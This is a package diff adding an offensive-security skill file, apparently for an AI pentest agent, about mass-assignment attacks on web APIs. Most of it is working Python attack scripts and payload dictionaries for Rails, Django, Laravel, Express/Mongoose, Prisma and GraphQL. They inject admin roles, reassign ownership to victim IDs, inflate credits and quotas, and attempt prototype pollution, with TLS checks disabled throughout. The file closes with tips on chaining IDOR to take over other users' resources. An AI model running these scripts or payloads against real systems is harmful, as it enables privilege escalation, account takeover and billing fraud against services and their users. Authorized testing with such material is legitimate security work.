@aegis-scan/skills 0.4.0 → 0.5.1

package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md

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+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: mass-assignment
+description: Mass assignment testing with framework-specific exploitation scripts for Rails, Django, Laravel, Node.js/Express, Mongoose, and Prisma
+---
+
+# Mass Assignment
+
+Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.
+
+---
+
+## Framework-Specific Exploitation
+
+### Rails — Strong Parameters Bypass
+
+Rails uses `params.require(...).permit(...)` — mass assignment occurs when:
+- `permit!` is used (permits ALL fields)
+- Nested params are not filtered
+- `accepts_nested_attributes_for` is combined with weak permits
+
+**Detection pattern:**
+```python
+#!/usr/bin/env python3
+"""
+Rails mass assignment tester.
+Injects extra fields into a create/update request and checks if they persist.
+
+Usage: python3 rails_mass_assign.py \
+       --url https://app.target.com/users/123 \
+       --method PATCH \
+       --token "Bearer <token>" \
+       --base '{"user": {"name": "test"}}' \
+       --inject '{"user": {"role": "admin", "admin": true, "is_admin": true}}'
+"""
+import json, ssl, argparse, sys
+from urllib.request import urlopen, Request
+from urllib.error import HTTPError
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+def do_request(url, method, token, body):
+    data = json.dumps(body).encode()
+    req = Request(url, data=data, method=method, headers={
+        "Authorization": token,
+        "Content-Type": "application/json",
+        "Accept": "application/json"
+    })
+    try:
+        resp = urlopen(req, context=ctx, timeout=15)
+        return resp.status, json.loads(resp.read())
+    except HTTPError as e:
+        try:
+            return e.code, json.loads(e.read())
+        except Exception:
+            return e.code, {}
+
+parser = argparse.ArgumentParser()
+parser.add_argument("--url", required=True)
+parser.add_argument("--get-url", help="GET URL to verify state (default: same as --url)")
+parser.add_argument("--method", default="PATCH")
+parser.add_argument("--token", required=True)
+parser.add_argument("--base", required=True, help="JSON: baseline legitimate request body")
+parser.add_argument("--inject", required=True, help="JSON: body with extra fields to inject")
+args = parser.parse_args()
+
+base_body = json.loads(args.base)
+inject_body = json.loads(args.inject)
+get_url = args.get_url or args.url
+
+# Step 1: Capture baseline state
+print("[1] Baseline GET (current state):")
+status, before = do_request(get_url, "GET", args.token, None)
+print(f"  HTTP {status}: {json.dumps(before)[:300]}")
+
+# Step 2: Send legitimate request (no injected fields)
+print(f"\n[2] Sending legitimate {args.method} (baseline, no injection):")
+status, resp = do_request(args.url, args.method, args.token, base_body)
+print(f"  HTTP {status}: {json.dumps(resp)[:200]}")
+
+# Step 3: GET state after baseline
+print("\n[3] State after baseline update:")
+status, mid = do_request(get_url, "GET", args.token, None)
+print(f"  HTTP {status}: {json.dumps(mid)[:300]}")
+
+# Step 4: Send with injected fields
+print(f"\n[4] Sending {args.method} WITH injected fields:")
+status, injected_resp = do_request(args.url, args.method, args.token, inject_body)
+print(f"  HTTP {status}: {json.dumps(injected_resp)[:300]}")
+
+# Step 5: GET state after injection — confirm if forbidden fields persisted
+print("\n[5] State AFTER injection (checking if fields persisted):")
+status, after = do_request(get_url, "GET", args.token, None)
+print(f"  HTTP {status}: {json.dumps(after)[:300]}")
+
+# Step 6: Diff before vs after
+print("\n[DIFF] Before vs After:")
+def flatten(obj, prefix=""):
+    result = {}
+    if isinstance(obj, dict):
+        for k, v in obj.items():
+            result.update(flatten(v, f"{prefix}.{k}" if prefix else k))
+    elif isinstance(obj, list):
+        for i, v in enumerate(obj):
+            result.update(flatten(v, f"{prefix}[{i}]"))
+    else:
+        result[prefix] = obj
+    return result
+
+before_flat = flatten(before)
+after_flat = flatten(after)
+
+changed = []
+for k in set(list(before_flat.keys()) + list(after_flat.keys())):
+    bv = before_flat.get(k, "<missing>")
+    av = after_flat.get(k, "<missing>")
+    if bv != av:
+        changed.append((k, bv, av))
+        flag = "[MASS ASSIGNMENT]" if any(s in k.lower() for s in ["admin", "role", "permission", "owner", "tenant", "plan", "tier", "verified", "status", "credit", "limit"]) else "[CHANGED]"
+        print(f"  {flag} {k}: {bv!r} → {av!r}")
+
+if not changed:
+    print("  No changes detected — server likely ignored injected fields")
+```
+
+---
+
+### Django REST Framework — Serializer Field Bypass
+
+DRF mass assignment occurs when:
+- `read_only_fields` is missing for sensitive fields
+- `partial=True` combined with missing field restrictions
+- Nested serializers are writable without explicit field control
+
+**Sensitive fields to inject in DRF apps:**
+```python
+DJANGO_INJECTION_CANDIDATES = {
+    # User model common fields
+    "is_staff": True,
+    "is_superuser": True,
+    "is_active": True,
+    "date_joined": "2020-01-01T00:00:00Z",
+    # Profile extras
+    "role": "admin",
+    "tier": "premium",
+    "verified": True,
+    "email_verified": True,
+    # Ownership
+    "user": 1,
+    "user_id": 1,
+    "owner_id": 1,
+    "organization_id": "ORG_ID_HERE",
+}
+
+# DRF often accepts extra_kwargs override via PATCH with partial=True
+# Try patching with Content-Type: application/json AND multipart/form-data
+# DRF serializers may have different validation per content type
+```
+
+**Multi-encoding tester:**
+```python
+#!/usr/bin/env python3
+"""
+Multi-encoding mass assignment tester.
+Tests the same injected field across JSON, form-encoded, and multipart.
+"""
+import ssl, json, argparse
+from urllib.request import urlopen, Request
+from urllib.error import HTTPError
+import urllib.parse
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+def test_json(url, method, token, body):
+    req = Request(url, data=json.dumps(body).encode(), method=method, headers={
+        "Authorization": token, "Content-Type": "application/json"
+    })
+    try:
+        resp = urlopen(req, context=ctx, timeout=10)
+        return resp.status, resp.read()[:200]
+    except HTTPError as e:
+        return e.code, b""
+
+def test_form(url, method, token, flat_body):
+    """Flat dict only — form encoding doesn't support nested."""
+    encoded = urllib.parse.urlencode(flat_body).encode()
+    req = Request(url, data=encoded, method=method, headers={
+        "Authorization": token, "Content-Type": "application/x-www-form-urlencoded"
+    })
+    try:
+        resp = urlopen(req, context=ctx, timeout=10)
+        return resp.status, resp.read()[:200]
+    except HTTPError as e:
+        return e.code, b""
+
+def test_multipart(url, method, token, flat_body):
+    boundary = "----BoundaryXYZ789"
+    parts = []
+    for k, v in flat_body.items():
+        parts.append(f'--{boundary}\r\nContent-Disposition: form-data; name="{k}"\r\n\r\n{v}')
+    body = ("\r\n".join(parts) + f"\r\n--{boundary}--\r\n").encode()
+    req = Request(url, data=body, method=method, headers={
+        "Authorization": token,
+        "Content-Type": f"multipart/form-data; boundary={boundary}"
+    })
+    try:
+        resp = urlopen(req, context=ctx, timeout=10)
+        return resp.status, resp.read()[:200]
+    except HTTPError as e:
+        return e.code, b""
+
+parser = argparse.ArgumentParser()
+parser.add_argument("--url", required=True)
+parser.add_argument("--method", default="PATCH")
+parser.add_argument("--token", required=True)
+parser.add_argument("--field", required=True, help="Field name to inject (e.g. 'is_admin')")
+parser.add_argument("--value", required=True, help="Field value to inject (e.g. 'true')")
+args = parser.parse_args()
+
+flat = {args.field: args.value}
+nested = {"user": flat}  # Rails-style wrapper
+
+print(f"[*] Testing injection of {args.field}={args.value}")
+print(f"    Target: {args.method} {args.url}\n")
+
+print("  [JSON flat]     ", end="")
+s, b = test_json(args.url, args.method, args.token, flat)
+print(f"HTTP {s}")
+
+print("  [JSON nested]   ", end="")
+s, b = test_json(args.url, args.method, args.token, nested)
+print(f"HTTP {s}")
+
+print("  [Form-encoded]  ", end="")
+s, b = test_form(args.url, args.method, args.token, flat)
+print(f"HTTP {s}")
+
+print("  [Multipart]     ", end="")
+s, b = test_multipart(args.url, args.method, args.token, flat)
+print(f"HTTP {s}")
+
+print("  [JSON dot.path] ", end="")
+dot = {f"user.{args.field}": args.value}
+s, b = test_json(args.url, args.method, args.token, dot)
+print(f"HTTP {s}")
+
+print("  [Bracket path]  ", end="")
+bracket = {f"user[{args.field}]": args.value}
+s, b = test_form(args.url, args.method, args.token, bracket)
+print(f"HTTP {s}")
+
+print("\nNext: GET resource and verify if field persisted")
+```
+
+---
+
+### Node.js / Express — Body Parser Direct Bind
+
+Express with `app.use(express.json())` and direct `req.body` assignment:
+```javascript
+// Vulnerable pattern:
+User.findByIdAndUpdate(req.params.id, req.body, { new: true })
+// No field filtering — attacker controls all top-level fields
+```
+
+**Attack payload for Express/Mongoose targets:**
+```python
+NODE_INJECTION_CANDIDATES = [
+    # Privilege escalation
+    {"isAdmin": True},
+    {"role": "admin"},
+    {"roles": ["admin"]},
+    {"permissions": ["*"]},
+    {"__v": 0, "isAdmin": True},  # Bypass version check
+    # Ownership
+    {"userId": "VICTIM_ID"},
+    {"owner": "VICTIM_ID"},
+    {"createdBy": "VICTIM_ID"},
+    # Mongoose-specific: __proto__ pollution via body
+    {"__proto__": {"isAdmin": True}},
+    {"constructor": {"prototype": {"isAdmin": True}}},
+    # Nested model injection
+    {"profile": {"isAdmin": True, "role": "admin"}},
+    {"settings": {"admin": True, "tier": "enterprise"}},
+    # Quota manipulation
+    {"usageLimit": 999999},
+    {"monthlyRequests": 0},
+    {"credits": 10000},
+    # Plan manipulation
+    {"plan": "enterprise"},
+    {"tier": "premium"},
+    {"subscription": {"plan": "pro", "status": "active"}},
+]
+```
+
+---
+
+### Laravel — $fillable and $guarded Bypass
+
+Laravel mass assignment via Eloquent:
+```php
+// Vulnerable — guarded=[] means everything fillable
+protected $guarded = [];
+
+// Also vulnerable — specific field in fillable
+protected $fillable = ['name', 'email', 'role'];  // 'role' should NOT be here
+```
+
+**Test vector for Laravel endpoints:**
+```python
+LARAVEL_CANDIDATES = {
+    # Standard Eloquent model fields
+    "role": "admin",
+    "is_admin": 1,
+    "admin": 1,
+    "verified": 1,
+    "email_verified_at": "2024-01-01 00:00:00",
+    "deleted_at": None,  # Soft delete undelete
+    "remember_token": "ATTACKER_TOKEN",
+    # Relationships
+    "user_id": 1,
+    "account_id": 1,
+    "company_id": 1,
+    # Feature flags
+    "premium": 1,
+    "beta_access": 1,
+    "trial_ends_at": "2099-12-31 00:00:00",
+    # Laravel Passport/Sanctum abuse
+    "_method": "DELETE",  # Method override
+    "_token": "",  # CSRF bypass attempt
+}
+```
+
+---
+
+### Mongoose / Prisma — Schema Path Injection
+
+Mongoose `select: false` prevents reading a field but **does not prevent writing it**.
+
+```javascript
+// Mongoose schema — 'role' is select:false (hidden from reads)
+const userSchema = new Schema({
+  name: String,
+  role: { type: String, default: 'user', select: false }  // Hidden but writable!
+});
+
+// Prisma — no select: false equivalent; relies on explicit field exclusion
+// Vulnerable:
+await prisma.user.update({ where: { id }, data: req.body })
+// All req.body fields applied — role, isAdmin, etc.
+```
+
+**Mongoose-specific injection test:**
+```python
+#!/usr/bin/env python3
+"""
+Mongoose/Prisma mass assignment tester.
+Tests that hidden (select:false) fields can still be written.
+"""
+import ssl, json, argparse
+from urllib.request import urlopen, Request
+from urllib.error import HTTPError
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+MONGOOSE_CANDIDATES = [
+    {"role": "admin"},
+    {"isAdmin": True},
+    {"__v": -1},           # Bypass optimistic concurrency
+    {"_id": "000000000000000000000001"},  # Object ID manipulation
+    {"createdAt": "2020-01-01T00:00:00Z"},
+    {"updatedAt": "2020-01-01T00:00:00Z"},
+    {"__proto__": {"role": "admin"}},     # Prototype pollution via body
+    {"constructor.prototype.role": "admin"},  # Dot-notation proto pollution
+]
+
+parser = argparse.ArgumentParser()
+parser.add_argument("--url", required=True, help="PATCH/PUT endpoint URL")
+parser.add_argument("--get-url", help="GET URL to read back the object")
+parser.add_argument("--token", required=True)
+args = parser.parse_args()
+
+def req(url, method, token, body=None):
+    req_obj = Request(url, method=method,
+                      data=json.dumps(body).encode() if body else None,
+                      headers={"Authorization": token,
+                                "Content-Type": "application/json",
+                                "Accept": "application/json"})
+    try:
+        resp = urlopen(req_obj, context=ctx, timeout=10)
+        return resp.status, json.loads(resp.read())
+    except HTTPError as e:
+        return e.code, {}
+
+get_url = args.get_url or args.url
+status_before, before = req(get_url, "GET", args.token)
+print(f"[BEFORE] {json.dumps(before)[:300]}")
+
+for candidate in MONGOOSE_CANDIDATES:
+    status, resp = req(args.url, "PATCH", args.token, candidate)
+    if status in (200, 201, 204):
+        status_after, after = req(get_url, "GET", args.token)
+        # Check if injected field appears in response
+        candidate_keys = list(candidate.keys())
+        visible_changes = {k: after.get(k) for k in candidate_keys if after.get(k) != before.get(k)}
+        if visible_changes:
+            print(f"[MASS ASSIGNMENT] {candidate} → {visible_changes}")
+        else:
+            print(f"[OK/HIDDEN] {candidate} → HTTP {status}, no visible change (may still persist)")
+    else:
+        print(f"[REJECTED] {candidate} → HTTP {status}")
+```
+
+---
+
+### GraphQL — Input Type Field Injection
+
+GraphQL mutation inputs are often mapped directly to ORM models. Missing allowlist on `InputType` allows unauthorized field writes.
+
+```python
+#!/usr/bin/env python3
+"""
+GraphQL mass assignment via mutation input injection.
+Injects extra fields into mutation inputs and checks if they persist.
+"""
+import ssl, json, argparse
+from urllib.request import urlopen, Request
+from urllib.error import HTTPError
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+# Common GraphQL mutation targets for mass assignment
+GRAPHQL_CANDIDATES = [
+    # Wrap in the appropriate input type name for the target
+    '{ "isAdmin": true }',
+    '{ "role": "ADMIN" }',
+    '{ "tier": "ENTERPRISE" }',
+    '{ "verified": true }',
+    '{ "permissions": ["ALL"] }',
+    '{ "ownerId": "VICTIM_USER_ID" }',
+    '{ "organizationId": "TARGET_ORG_ID" }',
+    '{ "creditBalance": 99999 }',
+    '{ "plan": "premium" }',
+    '{ "trialEndsAt": "2099-12-31" }',
+]
+
+def gql(url, token, query, variables=None):
+    payload = {"query": query, "variables": variables or {}}
+    req = Request(url, data=json.dumps(payload).encode(), headers={
+        "Authorization": token,
+        "Content-Type": "application/json",
+        "Accept": "application/json"
+    })
+    try:
+        resp = urlopen(req, context=ctx, timeout=15)
+        return resp.status, json.loads(resp.read())
+    except HTTPError as e:
+        return e.code, {}
+
+parser = argparse.ArgumentParser()
+parser.add_argument("--url", required=True)
+parser.add_argument("--token", required=True)
+parser.add_argument("--mutation", required=True, help="Mutation name (e.g. 'updateUser')")
+parser.add_argument("--input-type", required=True, help="Input type variable name (e.g. 'input')")
+parser.add_argument("--user-id", required=True, help="Your own user ID to check state")
+args = parser.parse_args()
+
+# First: introspect the input type to see available fields
+INTROSPECT = """
+query {
+  __type(name: "MUTATION_NAME") {
+    name
+    args {
+      name
+      type {
+        name
+        kind
+        inputFields {
+          name
+          type { name kind }
+        }
+      }
+    }
+  }
+}
+""".replace("MUTATION_NAME", args.mutation)
+
+# Test each candidate by adding it to a minimal mutation
+for candidate_str in GRAPHQL_CANDIDATES:
+    candidate = json.loads(candidate_str)
+    field_name = list(candidate.keys())[0]
+    field_value = list(candidate.values())[0]
+
+    # Build mutation with the candidate field injected
+    if isinstance(field_value, bool):
+        gql_val = str(field_value).lower()
+    elif isinstance(field_value, str):
+        gql_val = f'"{field_value}"'
+    elif isinstance(field_value, int):
+        gql_val = str(field_value)
+    elif isinstance(field_value, list):
+        gql_val = json.dumps(field_value)
+    else:
+        gql_val = json.dumps(field_value)
+
+    mutation = f"""
+    mutation TestMassAssignment {{
+      {args.mutation}({args.input_type}: {{
+        id: "{args.user_id}"
+        {field_name}: {gql_val}
+      }}) {{
+        id
+        {field_name}
+        ... on User {{
+          role
+          isAdmin
+          tier
+          plan
+        }}
+      }}
+    }}
+    """
+
+    status, resp = gql(args.url, args.token, mutation)
+    errors = resp.get("errors", [])
+    data = resp.get("data", {}).get(args.mutation)
+
+    if errors:
+        # Check if error is "unknown field" vs "unauthorized" — different signals
+        err_msg = errors[0].get("message", "")
+        if "cannot" in err_msg.lower() or "not found" in err_msg.lower():
+            print(f"[REJECTED] {field_name}: Field unknown or rejected — {err_msg[:80]}")
+        elif "permission" in err_msg.lower() or "unauthorized" in err_msg.lower():
+            print(f"[AUTHZ] {field_name}: Authorization check triggered — field likely exists but protected")
+        else:
+            print(f"[ERROR] {field_name}: {err_msg[:80]}")
+    elif data:
+        # Check if field was accepted and returned
+        if data.get(field_name) == field_value:
+            print(f"[MASS ASSIGNMENT] {field_name}={field_value} accepted AND returned in response")
+        elif data.get(field_name):
+            print(f"[POSSIBLE] {field_name} returned value: {data.get(field_name)} (injected: {field_value})")
+        else:
+            print(f"[UNKNOWN] {field_name}: mutation succeeded but field not in response (may still persist)")
+    else:
+        print(f"[HTTP {status}] {field_name}: no data")
+```
+
+---
+
+## Automated Field Dictionary Attack
+
+```python
+#!/usr/bin/env python3
+"""
+Comprehensive mass assignment field dictionary attacker.
+Iterates over a large field dictionary against a target endpoint.
+
+Usage: python3 mass_assign_dict.py \
+       --url https://api.target.com/api/users/me \
+       --method PATCH --token "Bearer <token>"
+"""
+import ssl, json, argparse, time
+from urllib.request import urlopen, Request
+from urllib.error import HTTPError
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+# Comprehensive sensitive field dictionary
+FIELD_DICT = {
+    # Privilege escalation
+    "isAdmin": [True, "true", 1, "1"],
+    "admin": [True, "true", 1],
+    "is_admin": [True, "true", 1],
+    "role": ["admin", "superadmin", "staff", "moderator", "owner"],
+    "roles": [["admin"], ["superadmin"]],
+    "userType": ["admin", "staff", "internal"],
+    "user_type": ["admin", "staff"],
+    "accountType": ["admin", "premium", "enterprise"],
+    "permissions": [["*"], ["admin:all"], ["read:all", "write:all"]],
+    "scope": ["admin", "*", "all"],
+    "staff": [True, 1],
+    "superuser": [True, 1],
+    "is_superuser": [True, 1],
+    "isSuperAdmin": [True, 1],
+    "isStaff": [True, 1],
+    # Verification bypass
+    "verified": [True, 1],
+    "emailVerified": [True, 1],
+    "email_verified": [True, 1],
+    "phoneVerified": [True, 1],
+    "kycVerified": [True, 1],
+    "identityVerified": [True, 1],
+    "approved": [True, 1],
+    # Ownership takeover
+    "userId": ["1", "2", "VICTIM_ID"],
+    "user_id": ["1", "2"],
+    "ownerId": ["1", "VICTIM_ID"],
+    "owner_id": ["1"],
+    "accountId": ["1", "ACCOUNT_ID"],
+    "account_id": ["1"],
+    "organizationId": ["ORG_ID"],
+    "tenantId": ["TENANT_ID"],
+    "createdBy": ["1"],
+    # Feature/plan gates
+    "plan": ["enterprise", "premium", "pro", "unlimited"],
+    "tier": ["enterprise", "premium", "gold"],
+    "subscription": ["premium", "enterprise"],
+    "premium": [True, 1],
+    "isPremium": [True, 1],
+    "betaAccess": [True, 1],
+    "beta_access": [True, 1],
+    # Quota manipulation
+    "usageLimit": [999999, -1],
+    "monthlyLimit": [999999],
+    "apiLimit": [999999],
+    "seatCount": [999, -1],
+    "maxProjects": [999],
+    "credits": [99999],
+    "creditBalance": [99999],
+    "balance": [99999],
+    # Status manipulation
+    "status": ["active", "approved", "verified"],
+    "accountStatus": ["active", "verified"],
+    "subscriptionStatus": ["active"],
+    "trialEndsAt": ["2099-12-31", "2099-12-31T00:00:00Z"],
+    "trial_ends_at": ["2099-12-31"],
+    "expiresAt": ["2099-12-31T00:00:00Z"],
+}
+
+def req(url, method, token, body):
+    req_obj = Request(url, method=method, data=json.dumps(body).encode(), headers={
+        "Authorization": token, "Content-Type": "application/json", "Accept": "application/json"
+    })
+    try:
+        resp = urlopen(req_obj, context=ctx, timeout=10)
+        return resp.status, json.loads(resp.read())
+    except HTTPError as e:
+        try:
+            return e.code, json.loads(e.read())
+        except Exception:
+            return e.code, {}
+
+parser = argparse.ArgumentParser()
+parser.add_argument("--url", required=True)
+parser.add_argument("--method", default="PATCH")
+parser.add_argument("--token", required=True)
+parser.add_argument("--get-url", help="URL to verify state changes")
+parser.add_argument("--delay", type=float, default=0.1)
+args = parser.parse_args()
+
+get_url = args.get_url or args.url
+
+# Baseline
+status, before = req(get_url, "GET", args.token, {})
+print(f"[*] Baseline state: HTTP {status}")
+
+findings = []
+for field, values in FIELD_DICT.items():
+    for val in values[:1]:  # Test first value only to reduce noise
+        body = {field: val}
+        status, resp = req(args.url, args.method, args.token, body)
+        if status in (200, 201, 204):
+            # Verify if field appeared/changed in state
+            status_after, after = req(get_url, "GET", args.token, {})
+            after_val = after.get(field) or after.get("data", {}).get(field)
+            if after_val and str(after_val) != str(before.get(field)):
+                print(f"[MASS ASSIGNMENT CONFIRMED] {field}={val} → persisted as: {after_val}")
+                findings.append({"field": field, "injected": val, "result": after_val})
+            elif field in str(resp):
+                print(f"[POSSIBLE] {field}={val} → HTTP {status}, field appeared in response")
+        time.sleep(args.delay)
+
+print(f"\n[*] Confirmed mass assignment: {len(findings)}")
+for f in findings:
+    print(f"  {f['field']}: {f['injected']} → {f['result']}")
+```
+
+---
+
+## Attack Surface
+
+- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
+- Model binding in controllers/resolvers; ORM create/update helpers
+- Writable nested relations, sparse/patch updates, bulk endpoints
+- Registration/signup endpoints (highest impact — sets initial role)
+- Profile update endpoints
+- Admin API endpoints missing field allowlists
+
+## Key Vulnerability Patterns
+
+### Privilege Escalation
+
+- Set role/isAdmin/permissions during signup/profile update
+- Toggle admin/staff flags where exposed
+- **Highest value**: inject `isAdmin: true` or `role: admin` during account creation
+
+### Ownership Takeover
+
+- Change ownerId/accountId/tenantId to seize resources
+- Move objects across users/tenants
+
+### Feature Gate Bypass
+
+- Enable premium/beta/feature flags via flags/features fields
+- Raise limits/seatCount/quotas
+
+### Billing and Entitlements
+
+- Modify plan/price/prorate/trialEnd or creditBalance
+- Bypass server recomputation
+
+### Nested and Relation Writes
+
+- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller's scope
+
+## Bypass Techniques
+
+**Content-Type Switching**
+- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
+
+**Key Path Variants**
+- Dot/bracket/object re-shaping to reach nested fields through different binders
+- `{"user.role": "admin"}` vs `{"user": {"role": "admin"}}` vs `user[role]=admin`
+
+**Duplicate Keys**
+- `{"role": "user", "role": "admin"}` — parser precedence varies (last wins in most)
+- Test both orders
+
+**Batch Paths**
+- Per-item checks skipped in bulk operations
+- Insert a single malicious object within a large batch
+
+**Registration Endpoint (Highest Priority)**
+- Signup forms often lack mass assignment protection as they're "write-only"
+- Inject `isAdmin`, `role`, `verified` at account creation time
+
+## Validation Requirements
+
+1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller
+2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value
+3. Demonstrate consistency across at least two encodings or channels
+4. For nested/bulk, show that protected fields are written within child objects or array elements
+5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility
+
+**Minimum proof set:**
+```
+Request 1: PATCH /api/users/me {"role": "admin"}  → HTTP 200
+Request 2: GET /api/users/me                       → {"role": "admin"}  ← persisted
+Request 3: Confirm role grants admin access (e.g., GET /api/admin/users → HTTP 200)
+```
+
+## False Positives
+
+- Server recomputes derived fields (plan/price/role) ignoring client input
+- Fields marked read-only and enforced consistently across encodings
+- Only UI-side changes with no persisted effect
+- Field accepted in response but re-computed server-side before storage
+
+## Impact
+
+- Privilege escalation and admin feature access — CVSS 9.8 (PR:N → Admin)
+- Cross-tenant or cross-account resource takeover — CVSS 8.8
+- Financial/billing manipulation and quota abuse — CVSS 7.5
+- Policy/approval bypass by toggling verification or status flags
+
+## Pro Tips
+
+1. Always test the registration/signup endpoint first — it's write-only and often lacks protections
+2. Build a sensitive-field dictionary per resource and fuzz systematically
+3. Always try alternate shapes and encodings; many validators are shape/CT-specific
+4. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields
+5. Inspect SDKs/mobile apps for hidden field names and nested write examples
+6. Test `select: false` Mongoose fields — hidden from reads but often writable
+7. In Rails, test `accepts_nested_attributes_for` — frequently permits overly broad writes
+8. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects
+9. Chain with IDOR: first use IDOR to find victim user IDs, then mass-assign ownerId to take over their resources